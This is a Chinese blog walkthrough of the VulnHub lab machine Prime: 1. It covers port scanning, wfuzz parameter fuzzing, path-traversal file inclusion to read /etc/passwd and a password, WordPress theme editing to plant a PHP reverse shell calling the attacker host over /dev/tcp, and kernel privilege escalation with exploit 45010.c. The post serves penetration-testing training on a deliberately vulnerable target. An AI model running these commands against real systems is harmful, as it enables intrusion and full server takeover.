红队打靶:Prime1详细打靶思路之模糊测试+内核提权(vulnhub)

目录

 写在开头

 第一步:主机发现和端口扫描

 第二步:web渗透与目录爆破

 第三步:文件包含漏洞利用

 第四步:wordpress CMS渗透

 第五步:内核漏洞提权 

 总结与思考

写在开头

本篇博客还是根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。完整打靶思路详见:

「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼,试试吧,按图索骥!_哔哩哔哩_bilibili

正如视频题目,prime靶机的打靶过程真是有按图索骥、顺藤摸瓜的感觉。就像是破案闯关一样,一步步寻找线索,慢慢找到突破点,拿到服务器权限。整个过程虽然也会进行很多失败的尝试,但总体而言思路非常清晰,每一步的操作都有根据。我感觉这个靶机非常有趣。本文的打靶的核心思路是模糊测试找到文件包含的漏洞利用点寻找wordpress这个cms代码执行的位置获取shell。此靶机还有其他打靶思路,使用OpenSSL解密渗透提权的方法将在下一篇博客中进行详解,敬请期待。

prime是vulnhub中的一台用于OSCP考试练习的的靶机,链接见:

Prime: 1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

下载好之后解压,用vmware打开即可,网络适配器设置为NAT模式,靶机启动之后可以看到一个Ubuntu的登录界面:

 第一步:主机发现和端口扫描

每个靶机的第一步基本上都是主机发现和端口扫描,这里我就不再介绍nmap使用过程的具体参数了,就简介一下过程,想看端口扫描具体参数详解的读者可移步至我先前的博客。例如

红队打靶:W1R3S: 1.0.1详细打靶思路(vulnhub)

ip a查看kali的ip,是192.168.200.131,所在网段是192.168.200.0/24,在此网段中扫描,寻找靶机ip,发现是192.168.200.142

nmap –sn 192.168.200.0/24

 查看开放端口,发现开放了22和80端口。

nmap --min-rate 10000 -p- 192.168.200.142

 服务版本和操作系统扫描,是Linux服务器。

nmap -sT -sV -O -p22,80 192.168.200.142

 UDP扫描,22和80端口都关闭,没什么有用信息。

nmap -sU -p22,80 192.168.200.142

 使用漏洞脚本扫描,此处扫描时间较长,可能需要好几分钟。扫出了存在wordpress的CMS,其登录界面的路径是/wordpress/wp-login,除此之外没扫除什么漏洞。

 第二步:web渗透与目录爆破

由于靶机服务器开放了80web端口,可以用浏览器访问靶机ip:192.168.200.142,如下图

 可以看到一张图片,F12查看网页源代码也没啥东西。图片上的logo好像就是kali的标志,图片和title中都写着HacknPentest,n通常代表and的意思,那么这个英语词语就是Hack与渗透。也没啥信息可言。按照常规套路,我们要进行目录爆破。

dirb http://192.168.200.142

 dirb爆破发现的目录有很多,如dev,javascript,wordpress等等,javascript和wordpress都是网站的常规目录,dev目录则见的不多,比较可疑,先访问看看192.168.200.142/dev

dev中的信息如下:

hello,

now you are at level 0 stage.

In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking.

 直译一下:你好,现在你在第0级别,在真实的渗透测试中我们会非常努力的使用工具去深挖web,祝你渗透愉快。

好家伙,这话说的感觉我们像在打游戏升级一样,他提示我们,要非常努力的使用工具去深挖web,这是啥意思呢?回想一下这个dev目录就是我们用dirb目录挖出来的界面嘛,或许是我们挖的还不够深?确实,我们仅仅是用dirb的默认参数扫描了这个靶机ip,这种扫描仅仅会扫描出目录,无法扫出文件。因此可能我们还需要对文件进行扫描,什么样的文件呢,最好是.txt或.zip这种,有可能会给我们一些提示信息,至于.php和.html这种有关web部署的,我们可以后面再扫。

dirb http://192.168.200.142 -X .zip,.txt

 发现文件secret.txt,依旧用浏览器访问看看:

secret.txt的内容如下。

Looks like you have got some secrets.

Ok I just want to do some help to you.

Do some more fuzz on every page of php which was finded by you. And if

you get any right parameter then follow the below steps. If you still stuck

Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//

 那就由本菜鸟直译一下这段话:看起来你拿到了一些秘密,OK,我就是想帮帮你。在你发现的每个php页面进行模糊测试吧,如果你得到了任何正确的参数,就跟着如下的步骤进行。如果你依然卡住,学习一些OSCP基本工具的使用,链接是https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,当你有了下一步进展之后去看看location.txt吧。

这段的信息量还是很大的,主要是提示我们对找到的php页面进行模糊测试,并给出了模糊测试工具的github链接,同时还提示了我们有了下一步进展之后去看看location.txt。那么我们首先要做的应该是去寻找php页面。依旧使用dirb:

dirb http://192.168.200.142 -X .php

 发现两个php页面,image.php和index.php,那就先对index.php试试模糊测试。至于如何进行模糊测试,可以先查看帮助wfuzz –h,也可以看secret.txt中提示的github链接https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web ,链接显示如下:

 总之如果不了解的话,先研究研究wfuzz这个工具(kali中自带)的参数,可找到参数应该是-c高亮显示,-w 使用字典进行尝试,把需要测试的页面改为image.php即可,github链接中还给出了范例命令

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something

 那么我们要测试的位置是192.168.200.142/index.php,命令如下:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.200.142/index.php?FUZZ=

 这个结果可以看到,列表中的Chars列基本都是136 Ch。模糊测试就是对参数进行爆破,失败的情况是绝大多数,因此所有Chars列为136 Ch结果的payload应该都是失败的,我们并不关心,因此可以把136作为失败的标志,使用参数--hh 136 进行过滤,显示Chars列结果不含136的payload当然也可以用其他参数进行过滤(比如过滤word为12的payload,--hw 12)。--hc/hl/hw/hh分别是指过滤掉code/lines/word/char的某种结果。命令如下:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.200.142/index.php?FUZZ

 成功找到了一个payload!名为file,这应该是我们要关注的位置。我们用curl或浏览器查看192.168.200.142/index.php?file

 这个页面除了那个hacknpentest的图片之外,还有一句话说让我们做的再好一些,说我挖错了file,这啥意思啊?不管怎么说,我们发现了file,这应该算是向前走了一步,想起了刚才的secret.txt提示我们有了下一步进展之后去看看location.txt,那我们就把location.txt作为参数传给file试试:

curl http://192.168.200.142/index.php?file=location.txt

 ok well Now you reah at the exact parameter

Now dig some more for next one use 'secrettier360' parameter on some other php page for more fun.

这段话意思就是我每次找到了确切的参数,让我们使用secrettier360进行挖掘,还说是用另外一个php page,那应该就是指image.php,依旧用curl访问一下192.168.200.142/image.php?secrettier360试试:

curl http://192.168.200.142/image.php?secrettier360

 提示说我们找到了正确的参数,什么叫正确的参数?我们浏览器访问这个页面:

到此位置我们就有关模糊测试的部分就结束了,好像也找不到其他提示了。

 第三步:文件包含漏洞利用

既然我们找到了正确的参数secrettier360,那么这个参数的值是什么呢?我们也没看到什么提示,莫非这里是一个文件上传的漏洞点?试一试能不能访问/etc/passwd,我们在这个参数后面给出路径../../../../../../../../../etc/passwd,这里../的数量不需要正好知道上层目录是第几层,只要保证../的数量足够多,足以达到根目录即可(因为上层目录顶多到达根目录)。浏览器访问http://192.168.200.142/image.php?secrettier360=../../../../../../../../../etc/passwd

 成功读取并回显了/etc/passwd,浏览器的效果看的头晕,还是用curl看一下

curl http://192.168.200.142/image.php?secrettier360=../../../../../../../../etc/passwd

 /etc/passwd中的账户信息有很多,重点观察有bash环境的:

发现root,victor账户有bash环境,同时还在saket发现一句话,find password.txt file in my directory:/home/saket: 莫非是提醒我们在/home/saket/password.txt存在信息? 那我们再用文件包含看一下/home/saket/password.txt

curl http://192.168.200.142/image.php?secrettier360=../../../../../../../../home/saket/password.txt

文件包含漏洞访问之后,password.txt中写了follow_the_ippsec ,怀疑这可能是某个账号的密码,应该是个很关键的信息。最后再试试能不能直接访问/etc/shadow。很遗憾,并不行,浏览器和curl都无法看到回显。

第四步:wordpress CMS渗透

 follow_the_ippsec应该是个很关键的密码。那哪里需要登录呢?首先想到的就是22端口的ssh了,前面我们通过/etc/passwd看到root,victor账户有bash环境,ssh尝试登录了root,victor,saket三个账号都显示密码错误,那应该不是这里。之前nmap脚本漏洞扫描和dirb目录扫描的时候都显示存在cms wordpress目录,说不定是wordpress这个cms的后台登录密码。我们先访问/wordpress的目录,浏览器显示如下:

 这个页面我们发现了一个名为victor的用户,恰巧也是刚才/etc/passwd中看到的有bash的用户。 然后就是寻找wordpress的登录界面了,wordpress是非常常见的cms系统,其登录页面的路径是固定的,在/wordpress/wp-admin中,浏览器访问靶机ip/wordpress/wp-admin会自动跳转至登录页面(这个路径可以google搜索到也可以在之前的扫描结果中看到),如下图:

 果然找到了这个登录页面,用户名和密码就用刚才的victor和follow_the_ippsec试试吧。 成功用此账户和密码登录进了cms的后台。

 接下来就是常规思路,在cms的后台寻找可以上传文件和代码执行的位置(主要是php代码)。寻找可能存在php代码编辑的位置即可。发现在Appearance => Theme Editor => Theme Files中发现了许多可编辑的php文件,可是这些文件中添加php代码后无法提交更新(没找到按钮),我们需要找到可以写入并执行php代码的位置。

 最后在Theme Files(右侧栏)一直往下寻找.php文件,发现了一个名为secret.php的文件。具有可写权限,同时可以点击提交。

这个页面有一句注释/* Ohh Finaly you got a writable file */意思是我们成功找到了可写文件的位置,同时这个页面有Update File按钮,我们可以输入payload然后点这个按钮提交。

要获取shell,输入一行php的反弹shell命令即可,选择端口为443,192.168.200.131是我kali的ip,读者需要修改代码中ip和端口号,代码如下:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.131/443 0>&1'");
?>

 点击提交之后,会提示文件编辑成功,注意此时我们仅仅是添加了代码,还没有执行。然后就是另起一个终端接收反弹shell:

nc -lvnp 443

问题来了,如何找到我们设置好的secret页面路径,访问此页面触发代码执行?我们编辑secret.php经历了Appearance => Theme Editor => Theme Files的点击过程,回到以上这个路径的默认页面,即Stylesheet(style.css)的编辑页面,给出了页面路径。

https://wordpress.org/themes/twentynineteen/

 因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:

http://192.168.200.142/wordpress/wp-content/themes/twentynineteen/secret.php

 在红队笔记大佬的视频中,直接访问了上面这链接触发了secret.php代码执行,对这个url的来历并没有详细说明,我觉得还是需要阐释一下的。主要还是源于wordpress这个cms非常著名,可以很容易地在互联网上搜索到其内部各个模块的路径。访问这个路径之后,我们在secret.php中的payload就得以执行了,回到刚才nc监听443端口的终端,成功获取了反弹shell。

第五步:内核漏洞提权 

成功拿到了www-data的shell,我们uname -a查看操作系统版本,发现是一个比较早的内核版本了:

Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

 sudo –l查看权限,发现目录/home/saket/enc,提示信息(root) NOPASSWD: /home/saket/enc,如下图:

 试试能不能看enc,可惜没有查看enc文件的权限。

 再发现/home/saket目录下还有password.txt和user.txt,password.txt就是我们用文件包含发现的密码,user.txt是一串数字,这应该就是user的flag,查看一下:

 果然如此,我们已经拿到了user的flag,接下来就是提权,获取root权限并拿到root的flag。/enc可能是一个关键的文件,我们可以看看/home/saket目录下所有文件的权限,发现enc是没有读r权限的:

 如何提权呢?查找了一圈目录,很遗憾,没发现什么账号密码啥的敏感信息。再看看定时任务吧,找找有没有与之前的博客sickOS1.01打靶思路

中类似的定时文件,可以定期以root身份运行,然后我们追加命令进行提权,cat crontab后也没啥可利用的定时文件。

 回想到uname -a看到的内核版本,是Linux ubuntu 4.10.0-28-generic,这应该是比较早的内核版本了,说不定存在可以提权的漏洞。用kali中自带的searchsploit搜索一下:

searchsploit Linux ubuntu 4.10.0-28

 发现有三个,我们要关注与提权相关的漏洞,第一个是释放后重用漏洞,第二个和第三个漏洞貌似都与权限相关,我们先把第二个45010.c下载下来试试:

searchsploit -m 45010.c

 然后在/root目录下看一下这个45010.c的使用方式:

 这个.c文件的代码很长,具体怎么进行内核提权的不是我们的重点,我们只需要关注如何使用,应该就是gcc编译一下就可以了。由于不同环境gcc编译后的文件是不同的,这里我们应该把45010.c上传到靶机环境中再在靶机中进行编译。如果靶机中没有gcc,那再考虑搭建靶机环境,本地编译再上传。此处我们在kali中启动一个http服务,开放80端口(用php或者python都可以,我这里就用php了):

php -S 0:80

 然后用www-data的shell把访问kali启动的http服务器,把45010.c下载到本地。选择/tmp目录是因为这个目录的权限比较方便设置,注意要把命令中的ip改为kali:

wget http://192.168.200.131/45010.c

 kali中启动的http服务也显示,靶机成功get了45010.c:

 然后在靶机中编译,编译后起名为getRoot(读者可以起别的名字),没有报错:

gcc 45010.c -o getRoot

 然后运行./getRoot,即可提权为root,运行whoami,果然成为root了。注意如果编译后的getRoot没有执行权限,需要先添加x权限 chmod +x getRoot

chmod +x getRoot
./getRoot

 此时应该已经拿下这台服务器了,不过这个shell交互性比较差,我们还是试试能否用python获得交互性更好的shell:

python -c "import pty;pty.spawn('/bin/bash')"

 成功运行了python的shell,sudo –l查看权限,已经是三个all,接下来就是查看root的flag,应该就在/root目录下,存在一个root.txt,这个就是root的flag。

 至此打靶完成!

总结与思考

 这个prime1是我打靶以来感觉最有趣的靶机,全程确实是有按图索骥的感觉,尤其是对web进行模糊测试的时候,正式根据提示一步一步向前走的。真实的渗透环境中不可能有这么明显的提示,但还是提供了渗透的一个很好的思路。同时这个靶机的思路比较顺畅,没有太多需要脑洞的地方。同时也考察了对于常见cms wordpress的熟悉度以及提权的方法。不过熟悉与否仅仅是打靶快慢的问题。比较疑惑的点可能就是最后有关/home/saket/enc这个文件没有利用上,可能在其他方法中会有使用。总结一下打靶思路:

1.主机发现与端口扫描

2.目录爆破:发现提示文件让我们深挖目录,搜索.txt文件找到了secret.txt提示我们进行模糊测试。

3.模糊测试:用wfuzz工具进行模糊测试,一路依照提示进行尝试,最后找到了合适的参数。

4.文件包含利用:用上一步发现的url中的参数进行文件包含,查看/etc/passwd,成功看到信息,重点其中有shell环境的账户,并看到了有关/home/saket/passord.txt的提示,拿到了一个密码。

5.wordpress渗透:想办法利用第4步拿到的密码,后台登录wordpress,寻找可以代码执行的点,写入php反弹shell的payload并找到响应的路径进行代码执行。成功拿到了www-data的shell。

6.提权:利用www-data的shell去探索敏感信息,收获不大,最后发现内核版本的漏洞,成功提权。

 这篇打靶就完成了,不过这个靶场还有其他的渗透思路,在我的下一篇文章中,将用另一种方法对prime靶机进行渗透,敬请期待。 如果读者觉得我写的总结不错的话,恳请点赞多多支持。有针对靶场及漏洞的相关问题也可以在评论区指出,我一定知无不言。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131156420